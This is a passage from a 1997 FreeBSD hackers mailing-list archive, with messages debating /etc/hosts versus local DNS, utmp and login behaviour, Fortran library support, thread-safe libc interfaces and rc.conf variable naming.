[version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Does it help if you put entries with trailing dots in /etc/hosts ? > > 10.0.0.1 my.machine my > 10.0.0.1 my.machine. my. No. First of all, when reversing, it considers only the first line matching the address. This is arguably a bug. Second of all, if the dots are there, then the thing dials out on boot when it starts inetd and/or sendmail (I didn't localize it). I'm really at a loss as to what my domain name has to do with anything; as far as I know, the domain name is only set, and is only useful for bind calls. Other than that, a domain name is meaningless, unless I designate an NIS domain (and I have not). I find it strange that it's getting the domain name out of resolv.conf, since the host.conf file specifically says not to reference bind (and therefore bind configuration data) until the local hosts file has been consulted. In theory, I should be able to put in machine names *without* a domain in my hosts file; the domain name is the "name" of my netblock for the pruposes of DNS, after all. After all, by definit, all machines in my /etc/hosts file that are in my local netblock are in my domain, and in the DNS case, will get my domain name on lookup anyway, so I can use the naked names. Even if it *is* referenceing resolv.conf after I *specifically* told it to never do that when the hosts file could be used instead, and it knows the domain name for no good reason other than to cause me grief, as long as the machine name includes the domain name somewhere in the file, the lookup should succeed; I don't even split lines, which is supposed to be legal, but fails to accumulate all hosts in the address list. In any case, a name with a trailing "." meand "don't append the domain name", and it's only a hint to lookup in the name being looked up, not the database being looked up from. Yeah, eventually I have to set up a named for my local hosts, and it will mask this problem. But the configuration I have is perfectly valid right now. The hosts "fully qualified name vs. unqualified name in domain" order that Nate has asked about should also have no bearing on anything but the name returned as the cannonical name when a reverse lookup occurs through /etc/hosts. Since machines not in my local domain can't even *do* that lookup, the order should be irrelvant (and is, in fact, because it made no difference to the machines behaviour). The one thing that's been solved so far is that I have the idle timeout working now; that was mostly stupidity on my part; I had a cron that did a cvssup. I do it manually now. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Sep 14 19:46:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA21381 for hackers-outgoing; Sun, 14 Sep 1997 19:46:15 -0700 (PDT) Received: from usr09.primenet.com (tlambert@usr09.primenet.com [206.165.6.209]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA21376 for ; Sun, 14 Sep 1997 19:46:10 -0700 (PDT) Received: (from tlambert@localhost) by usr09.primenet.com (8.8.5/8.8.5) id TAA12720; Sun, 14 Sep 1997 19:45:54 -0700 (MST) From: Terry Lambert Message-Id: <199709150245.TAA12720@usr09.primenet.com> Subject: Re: Here's an interesting bug in our utmp handling. To: brian@awfulhak.org (Brian Somers) Date: Mon, 15 Sep 1997 02:45:53 +0000 (GMT) Cc: grog@lemis.com, tlambert@primenet.com, jkh@time.cdrom.com, hackers@FreeBSD.ORG In-Reply-To: <199709150200.DAA28083@awfulhak.demon.co.uk> from "Brian Somers" at Sep 15, 97 03:00:31 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > I don't understand why login should ever be called interactively. We > > have su for that. > > Perhaps 0500 permissions are in order. Ugh. Why not make it work as documented, instead? Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Sep 14 19:47:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA21505 for hackers-outgoing; Sun, 14 Sep 1997 19:47:48 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA21493 for ; Sun, 14 Sep 1997 19:47:42 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id MAA28577; Mon, 15 Sep 1997 12:17:33 +0930 (CST) Message-ID: <19970915121733.25438@lemis.com> Date: Mon, 15 Sep 1997 12:17:33 +0930 From: Greg Lehey To: Terry Lambert Cc: Brian Somers , jkh@time.cdrom.com, hackers@FreeBSD.ORG Subject: Re: Here's an interesting bug in our utmp handling. References: <199709150200.DAA28083@awfulhak.demon.co.uk> <199709150245.TAA12720@usr09.primenet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709150245.TAA12720@usr09.primenet.com>; from Terry Lambert on Mon, Sep 15, 1997 at 02:45:53AM +0000 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, Sep 15, 1997 at 02:45:53AM +0000, Terry Lambert wrote: >>> I don't understand why login should ever be called interactively. We >>> have su for that. >> >> Perhaps 0500 permissions are in order. > > Ugh. Why not make it work as documented, instead? Because it requires changing every shell. Most are ports. Greg From owner-freebsd-hackers Sun Sep 14 19:50:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA21669 for hackers-outgoing; Sun, 14 Sep 1997 19:50:22 -0700 (PDT) Received: from kalypso.cybercom.net (kalypso.cybercom.net [209.21.136.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA21657 for ; Sun, 14 Sep 1997 19:50:09 -0700 (PDT) Received: from atlanta (mfd-dial2-29.cybercom.net [209.21.137.61]) by kalypso.cybercom.net (8.8.7/8.6.12) with SMTP id WAA00515 for ; Sun, 14 Sep 1997 22:49:35 -0400 (EDT) Message-Id: <3.0.3.32.19970914224836.009c1330@cybercom.net> X-Sender: ksmm@cybercom.net X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.3 (32) Date: Sun, 14 Sep 1997 22:48:36 -0400 To: freebsd-hackers@FreeBSD.ORG From: The Classiest Man Alive Subject: Re: lib/libF77 and lib/libI77 In-Reply-To: <199709150207.VAA18852@argus.tfs.net> References: <6935.874286774@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk At 09:07 PM 9/14/97 -0500, Jim Bryant wrote: >as far as us "legions" [sic] of fortran programmers, we haven't had >any problems because it does build properly via make in either the >/usr/src/lib or /usr/src/lib/libf2c dirs... we "legions" also >recognize the lack of STANDARDIZED math facilities in C/C++ for >dealing with complex numbers, etc... and would like to see fortran of >course retained. The ANSI/ISO standard for C++ specifies a complex number class. And those vector class templates can be tacked together to make a matrix, and... Oh, never mind. Stick with FORTRAN. K.S. From owner-freebsd-hackers Sun Sep 14 19:51:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA21724 for hackers-outgoing; Sun, 14 Sep 1997 19:51:52 -0700 (PDT) Received: from usr09.primenet.com (tlambert@usr09.primenet.com [206.165.6.209]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA21719 for ; Sun, 14 Sep 1997 19:51:47 -0700 (PDT) Received: (from tlambert@localhost) by usr09.primenet.com (8.8.5/8.8.5) id TAA13005; Sun, 14 Sep 1997 19:51:25 -0700 (MST) From: Terry Lambert Message-Id: <199709150251.TAA13005@usr09.primenet.com> Subject: Re: Why not DNS (was: nfs startup - perhaps it is a problem) To: grog@lemis.com (Greg Lehey) Date: Mon, 15 Sep 1997 02:51:25 +0000 (GMT) Cc: brian@awfulhak.org, tlambert@primenet.com, joerg_wunsch@uriah.heep.sax.de, freebsd-hackers@FreeBSD.ORG In-Reply-To: <19970915114213.54969@lemis.com> from "Greg Lehey" at Sep 15, 97 11:42:13 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Does it help if you put entries with trailing dots in /etc/hosts ? > > > > 10.0.0.1 my.machine my > > 10.0.0.1 my.machine. my. > > No. /etc/hosts doesn't understand trailing dots. > > I haven't been following this thread too closely, but I still claim > that /etc/hosts is just plain obsolete. If anybody can give me any > reasons for using /etc/hosts, I'm sure I can refute them. > > Fire away! I have a private network and don't want to run a named locally because my DNS records are hosted by my ISP and I don't want a conflict. I don't want to use a different domain name locally. I also don't want DNS requests for non-local hosts satisfied locally, but non-authoritatively, because I frequently contact hosts which use a DNS rotor (specifically my ISP's shell account facilities) and I do not want to damage the rotor because I *like* being logged into the least loaded machine on their end. Eventually, I will run a local named, but only after I replace FreeBSD's bind and resolv.conf, etc. code with Paul Vixies, which has incorporated all of the DNS+ changes that made FreeBSD go off the standards track originally. And I am too lazy to havk up all the resolver code right this second. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Sep 14 19:55:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA21928 for hackers-outgoing; Sun, 14 Sep 1997 19:55:18 -0700 (PDT) Received: from usr09.primenet.com (tlambert@usr09.primenet.com [206.165.6.209]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA21919 for ; Sun, 14 Sep 1997 19:55:15 -0700 (PDT) Received: (from tlambert@localhost) by usr09.primenet.com (8.8.5/8.8.5) id TAA13144; Sun, 14 Sep 1997 19:55:02 -0700 (MST) From: Terry Lambert Message-Id: <199709150255.TAA13144@usr09.primenet.com> Subject: Re: Here's an interesting bug in our utmp handling. To: grog@lemis.com (Greg Lehey) Date: Mon, 15 Sep 1997 02:55:01 +0000 (GMT) Cc: tlambert@primenet.com, brian@awfulhak.org, jkh@time.cdrom.com, hackers@FreeBSD.ORG In-Reply-To: <19970915121733.25438@lemis.com> from "Greg Lehey" at Sep 15, 97 12:17:33 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > >>> I don't understand why login should ever be called interactively. We > >>> have su for that. > >> > >> Perhaps 0500 permissions are in order. > > > > Ugh. Why not make it work as documented, instead? > > Because it requires changing every shell. Most are ports. In exec, revoke the tty to kill off all the other processes, if it's /bin/login, while keeping the tty for the process exec'ing so it doesn't hang up. The original reason for this was to let you actually re-login; it is useful for dialup connections, which would otherwise cause you to have to reestablish the call. Consider phone networks with higher charges for call teardown and reestablishing a call than the charges you'd pay for remaining online. Most long distance calls fall into this category, even in the US. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Sep 14 19:57:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA22108 for hackers-outgoing; Sun, 14 Sep 1997 19:57:36 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA22093 for ; Sun, 14 Sep 1997 19:57:29 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id MAA29911; Mon, 15 Sep 1997 12:27:20 +0930 (CST) Message-ID: <19970915122720.11107@lemis.com> Date: Mon, 15 Sep 1997 12:27:20 +0930 From: Greg Lehey To: Terry Lambert Cc: brian@awfulhak.org, jkh@time.cdrom.com, hackers@FreeBSD.ORG Subject: Re: Here's an interesting bug in our utmp handling. References: <19970915121733.25438@lemis.com> <199709150255.TAA13144@usr09.primenet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709150255.TAA13144@usr09.primenet.com>; from Terry Lambert on Mon, Sep 15, 1997 at 02:55:01AM +0000 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, Sep 15, 1997 at 02:55:01AM +0000, Terry Lambert wrote: >>>>> I don't understand why login should ever be called interactively. We >>>>> have su for that. >>>> >>>> Perhaps 0500 permissions are in order. >>> >>> Ugh. Why not make it work as documented, instead? >> >> Because it requires changing every shell. Most are ports. > > In exec, revoke the tty to kill off all the other processes, if > it's /bin/login, while keeping the tty for the process exec'ing > so it doesn't hang up. Hmm. What if the old user had left some things running in the background? > The original reason for this was to let you actually re-login; > it is useful for dialup connections, which would otherwise cause > you to have to reestablish the call. Consider phone networks > with higher charges for call teardown and reestablishing a call than > the charges you'd pay for remaining online. Most long distance > calls fall into this category, even in the US. 'exec su' would do the same thing. Greg From owner-freebsd-hackers Sun Sep 14 20:02:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA22493 for hackers-outgoing; Sun, 14 Sep 1997 20:02:45 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA22486 for ; Sun, 14 Sep 1997 20:02:39 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id MAA00412; Mon, 15 Sep 1997 12:32:30 +0930 (CST) Message-ID: <19970915123230.44332@lemis.com> Date: Mon, 15 Sep 1997 12:32:30 +0930 From: Greg Lehey To: Sean Eric Fagan Cc: FreeBSD Hackers Subject: Re: Here's an interesting bug in our utmp handling. References: <199709142217.PAA25420@usr09.primenet.com>; <199709150244.TAA06342@kithrup.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709150244.TAA06342@kithrup.com>; from Sean Eric Fagan on Sun, Sep 14, 1997 at 07:44:23PM -0700 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sun, Sep 14, 1997 at 07:44:23PM -0700, Sean Eric Fagan wrote: > In article <19970915100620.36991.kithrup.freebsd.hackers@lemis.com> you write: >> I don't understand why login should ever be called interactively. We >> have su for that. > > That's funny, I thought Jordan demonstrated a wonderful reason why it may be > desirable to run it interactively. Then I missed it (and I've deleted the message). What does it do that su doesn't? Greg From owner-freebsd-hackers Sun Sep 14 20:17:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA23078 for hackers-outgoing; Sun, 14 Sep 1997 20:17:57 -0700 (PDT) Received: from mole.mole.org (marmot.mole.org [204.216.57.191]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id UAA23073 for ; Sun, 14 Sep 1997 20:17:54 -0700 (PDT) Received: (from mail@localhost) by mole.mole.org (8.6.12/8.6.12) id DAA06916; Mon, 15 Sep 1997 03:17:42 GMT Received: from meerkat.mole.org(206.197.192.20) by mole.mole.org via smap (V1.3) id sma006914; Mon Sep 15 03:17:41 1997 Received: (from mrm@localhost) by meerkat.mole.org (8.6.11/8.6.9) id UAA15719; Sun, 14 Sep 1997 20:17:40 -0700 Date: Sun, 14 Sep 1997 20:17:40 -0700 From: "M.R.Murphy" Message-Id: <199709150317.UAA15719@meerkat.mole.org> To: gdk@ccomp.inode.COM, jkh@time.cdrom.com Subject: Re: lib/libF77 and lib/libI77 Cc: freebsd-hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Yeah, but they're not and that means that they haven't been part of > the binary distributions, either. So that begs the question: What has > this mysterious legion of fortran programmers been doing all this > time? :) > Getting the f2c distribution from netlib because we're deontologists? :-) -- Mike Murphy mrm@Mole.ORG +1 619 598 5874 Better is the enemy of Good From owner-freebsd-hackers Sun Sep 14 20:32:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA23746 for hackers-outgoing; Sun, 14 Sep 1997 20:32:52 -0700 (PDT) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA23740 for ; Sun, 14 Sep 1997 20:32:49 -0700 (PDT) Received: (from karpen@localhost) by ocean.campus.luth.se (8.8.5/8.8.5) id FAA01640; Mon, 15 Sep 1997 05:37:16 +0200 (CEST) From: Mikael Karpberg Message-Id: <199709150337.FAA01640@ocean.campus.luth.se> Subject: Re: Memory leak in getservbyXXX? In-Reply-To: <199709150222.TAA11074@usr09.primenet.com> from Terry Lambert at "Sep 15, 97 02:22:55 am" To: tlambert@primenet.com (Terry Lambert) Date: Mon, 15 Sep 1997 05:37:15 +0200 (CEST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk [... CC trimmed ...] According to Terry Lambert: > > That seems... DUMB! Returning something that the user must free instead of > > static buffers, when that's the normal behaviour is just very very bad. > > Say I have one of these little jewels of a function: [Example showing that you should not use "static" in MT programs. Obvious.] Terry... I often get annoyed with people tending to discard you just because you are you. But sometimes you really seem to put effort into missing the point, or straying away from the main discussion. And I'm not talking just this message... > > Three words: Thread local storage. > > One function name: > > CreateFreeeThreadedMarshallerSoICanGetAtMyOwnDamnAddressSpace() > > for instanced classes and objects. > > The *really* correct way to fix this is: > > somefunction( arguments, user_buffer_for_result); > > This ensures the data is thread local, without totally screwing up > the ability to pass data by pointer among threads. [...] Yes, this is one obvious solution. *_r calls. It's gives a "clean" implementation. Which _is_ nice. But it also kills the interface. > > Let each tread have its OWN static buffer. This is actually nicer in some > > ways then having the programmer pass buffers to pointers, etc, in *_r > > versions of calls. It's nicer because it's less work for the user of the > > library. And returning something the user must free is just out of the > > question. That's ugly beyond belief. Everyone deals with their own memory. > > Libraries too. > > Static buffers in library functions are what is ugly beyond belief. Not freeing the memory you allocate is really Bad. Exceptions ofcourse, where malloc() is a given. Static buffers in libraries are ugly, true. But it gives a very nice (simple) interface. And most of all, that's how the standard looks. And there's not a whole lot we can do about it. In C++ you can get the same nice interface, but without static buffers. You simply return string-class objects, etc, instead of a char * to a static buffer. But we're not talking C++ interface here. We're talking libc. And making it threadsafe in the nicest way possible is, IMO, to do it in an invisible and yet threadsafe way. That's what I suggested. They do it that way in Solaris, which I've been using at work, and I think it's a terriffic solution. You just add "-mt" to CC and it will pick up threadsafe versions of functions, with no interface change. TADA! Excellent solution. And I don't care HOW they did it. It's nice. I'd really like to see the same thing in FreeBSD. If they have a sucky implementation, or my quickly thought up implementation- suggestion was bad is irrellevant. Implement it better in FreeBSD, then. Just keep the interface, because that is a Good Thing(tm). > > All that is needed is [ ... ] > > Congradulations; you've reinvented intra-process inter-thread data > marshalling... welcome to the Microsoft "Viper" framework and the > ActiveX Template Library version 1.2. Cool. They should pay me rolayties for stealing my idea before I even thought of it! ;-) See below and above. > > Then just allocate that struct with malloc, and make a pointer > > in TLS point to it. [ ... ] > > But why stop at Microsoft's Common Object Model (the UNIX version is > called CORBA, by the way, and is generally preferred by UNIX people, > as it's an open standard -- ie: documented somewhere), when you can > go full steam ahead and invent Macintosh memory handles as well? > > AUGH! I don't know too much about CORBA, I'm affraid, but again: I really don't care if microsoft thought of it first, or if it's a lib in X11, or if the source can be found in the moon. The idea is fine, IMO, and my little code example should work just fine, and shouldn't be too slow, with some more then my five minutes of thought put into it. Something like 2-3 extra pointer dereferences per call to a function which now uses static buffers should REALLY not matter much. In short: Tell me something new, Terry. I know not to use static in MT progs. I also see the possiblity of user supplied buffer, but that changes the interface. Bad. /Mikael From owner-freebsd-hackers Sun Sep 14 20:39:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA23966 for hackers-outgoing; Sun, 14 Sep 1997 20:39:18 -0700 (PDT) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA23961 for ; Sun, 14 Sep 1997 20:39:14 -0700 (PDT) Received: (from karpen@localhost) by ocean.campus.luth.se (8.8.5/8.8.5) id FAA01655; Mon, 15 Sep 1997 05:43:33 +0200 (CEST) From: Mikael Karpberg Message-Id: <199709150343.FAA01655@ocean.campus.luth.se> Subject: Re: rc & rc.conf In-Reply-To: <199709142342.AAA25735@awfulhak.demon.co.uk> from Brian Somers at "Sep 15, 97 00:42:22 am" To: brian@awfulhak.org (Brian Somers) Date: Mon, 15 Sep 1997 05:43:33 +0200 (CEST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to Brian Somers: > > Maybe "inetd_enable" should become "inetd_disable" and only "NO" will > > disable inetd. > > I don't think this is good. Currently, they're all _enable variables > that are tested as "== YES" or "!= NO" depending on what the default > should be for a user that hasn't even set the variables. Adding > another negative into the equation would just succeed in confusing me > anyway. I agree. Keep _enable and "!= NO". /Mikael From owner-freebsd-hackers Sun Sep 14 20:40:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA24141 for hackers-outgoing; Sun, 14 Sep 1997 20:40:13 -0700 (PDT) Received: from ns.mt.sri.com (SRI-56K-FR.mt.net [206.127.65.42]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA24134 for ; Sun, 14 Sep 1997 20:40:08 -0700 (PDT) Received: from rocky.mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.7/8.8.7) with ESMTP id VAA05385; Sun, 14 Sep 1997 21:40:06 -0600 (MDT) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id VAA21991; Sun, 14 Sep 1997 21:40:03 -0600 (MDT) Date: Sun, 14 Sep 1997 21:40:03 -0600 (MDT) Message-Id: <199709150340.VAA21991@rocky.mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Greg Lehey Cc: freebsd-hackers@freebsd.org Subject: Re: Why not DNS (was: nfs startup - perhaps it is a problem) In-Reply-To: <19970915114213.54969@lemis.com> References: <199709142148.OAA22603@usr09.primenet.com> <199709150141.CAA26286@awfulhak.demon.co.uk> <19970915114213.54969@lemis.com> X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Greg Lehey writes: > If anybody can give me any reasons for using /etc/hosts, I'm sure I > can refute them. - The box *IS* the primary DNS box for my network, and hence can't resolve addresses at bootup until after DNS is running, but needs some resolution in other parts of the system for starting up things until DNS gets running. - The box is on a private home network made up of two hosts, and these machines need to talk to each other at times. Setting up a DNS server is a waste of resources for a private network. - The machine in question is using a slow and/or part-time network connection, and while doing 'local' work with sockets and such (programming, etc...) doesn't need to have the link up, and/or doesn't need to be using bandwidth usable for other processes. Could I run DNS and solve some of my problems? Of course, but it'd be like hammering nails with a sledge-hammer. It gets the job done, but it's way overkill. Nate From owner-freebsd-hackers Sun Sep 14 20:43:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA24261 for hackers-outgoing; Sun, 14 Sep 1997 20:43:15 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA24254 for ; Sun, 14 Sep 1997 20:43:10 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id NAA01759; Mon, 15 Sep 1997 13:13:00 +0930 (CST) Message-ID: <19970915131259.59073@lemis.com> Date: Mon, 15 Sep 1997 13:12:59 +0930 From: Greg Lehey To: Nate Williams Cc: freebsd-hackers@freebsd.org Subject: Re: Why not DNS (was: nfs startup - perhaps it is a problem) References: <199709142148.OAA22603@usr09.primenet.com> <199709150141.CAA26286@awfulhak.demon.co.uk> <19970915114213.54969@lemis.com> <199709150340.VAA21991@rocky.mt.sri.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709150340.VAA21991@rocky.mt.sri.com>; from Nate Williams on Sun, Sep 14, 1997 at 09:40:03PM -0600 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sun, Sep 14, 1997 at 09:40:03PM -0600, Nate Williams wrote: > Greg Lehey writes: >> If anybody can give me any reasons for using /etc/hosts, I'm sure I >> can refute them. > > - The box *IS* the primary DNS box for my network, and hence can't > resolve addresses at bootup until after DNS is running, but needs some > resolution in other parts of the system for starting up things until > DNS gets running. Interesting. What? I run a name server without /etc/hosts, and I don't have any problems. I contend that anything which requires /etc/hosts to be present is broken. > - The box is on a private home network made up of two hosts, and these > machines need to talk to each other at times. Setting up a DNS server > is a waste of resources for a private network. Why? What makes you think it's slower than /etc/hosts? > - The machine in question is using a slow and/or part-time network > connection, and while doing 'local' work with sockets and such > (programming, etc...) doesn't need to have the link up, and/or doesn't > need to be using bandwidth usable for other processes. All the more reason to run a name server. > Could I run DNS and solve some of my problems? Of course, but it'd be > like hammering nails with a sledge-hammer. It gets the job done, but > it's way overkill. I think you're overestimating the effort required. Greg From owner-freebsd-hackers Sun Sep 14 20:51:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA24714 for hackers-outgoing; Sun, 14 Sep 1997 20:51:36 -0700 (PDT) Received: from ns.mt.sri.com (SRI-56K-FR.mt.net [206.127.65.42]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA24707 for ; Sun, 14 Sep 1997 20:51:31 -0700 (PDT) Received: from rocky.mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.7/8.8.7) with ESMTP id VAA05457; Sun, 14 Sep 1997 21:51:29 -0600 (MDT) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id VAA22054; Sun, 14 Sep 1997 21:51:27 -0600 (MDT) Date: Sun, 14 Sep 1997 21:51:27 -0600 (MDT) Message-Id: <199709150351.VAA22054@rocky.mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Greg Lehey Cc: Nate Williams , freebsd-hackers@freebsd.org Subject: Re: Why not DNS (was: nfs startup - perhaps it is a problem) In-Reply-To: <19970915131259.59073@lemis.com> References: <199709142148.OAA22603@usr09.primenet.com> <199709150141.CAA26286@awfulhak.demon.co.uk> <19970915114213.54969@lemis.com> <199709150340.VAA21991@rocky.mt.sri.com> <19970915131259.59073@lemis.com> X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > Greg Lehey writes: > >> If anybody can give me any reasons for using /etc/hosts, I'm sure I > >> can refute them. > > > > - The box *IS* the primary DNS box for my network, and hence can't > > resolve addresses at bootup until after DNS is running, but needs some > > resolution in other parts of the system for starting up things until > > DNS gets running. > > Interesting. What? I run a name server without /etc/hosts, and I > don't have any problems. I contend that anything which requires > /etc/hosts to be present is broken. NTP, AMD, firewall stuff. Heck, the default 'setup' assumes it can resolve hostnames just to configure your IP address, so if you have an /etc/resolv.conf, it needs to time-out in order to get your network up just to get access to the DNS server. :) And, if you screwup your DNS setup, it's not acceptable for your box to not be accessible (due to firewall problems). > > - The box is on a private home network made up of two hosts, and these > > machines need to talk to each other at times. Setting up a DNS server > > is a waste of resources for a private network. > > Why? What makes you think it's slower than /etc/hosts? Because I don't have the resources to setup a DNS server on these boxes, both in terms of CPU and my time. > > - The machine in question is using a slow and/or part-time network > > connection, and while doing 'local' work with sockets and such > > (programming, etc...) doesn't need to have the link up, and/or doesn't > > need to be using bandwidth usable for other processes. > > All the more reason to run a name server. All the reason to *NOT* run a name server. It's rarely on the network, so why bring the line up just to resolve localhost? > > Could I run DNS and solve some of my problems? Of course, but it'd be > > like hammering nails with a sledge-hammer. It gets the job done, but > > it's way overkill. > > I think you're overestimating the effort required. I think you are underestimating the resources it uses. Do you think I don't know how to set things up? Do you think I don't have a clue how much memory it uses? C'mon Greg, give me some credit. It's an *absolute* waste of resources to use DNS *most* of the time with small networks. (Both of my home machines have 16M or less. Could I put more memory in them, of course but that's money that won't go for fishing equipment, and they work *great* the way they are. Explain to me w/out using words that M$ marketing literature uses what running a name-server will buy me? 'Better, faster, less resources, more features, less of my time involved, etc...' These are issues that make me feel like I've gained something. Telling me "it's a better solution" that requires more work and more resources w/out buying me any new functionality reeks of 'geek-dom', something we're trying to get away from in unix-land. :( Nate From owner-freebsd-hackers Sun Sep 14 21:22:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA26681 for hackers-outgoing; Sun, 14 Sep 1997 21:22:34 -0700 (PDT) Received: from hwcn.org (main.hwcn.org [199.212.94.65]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA26676 for ; Sun, 14 Sep 1997 21:22:30 -0700 (PDT) Received: from james.freenet.hamilton.on.ca 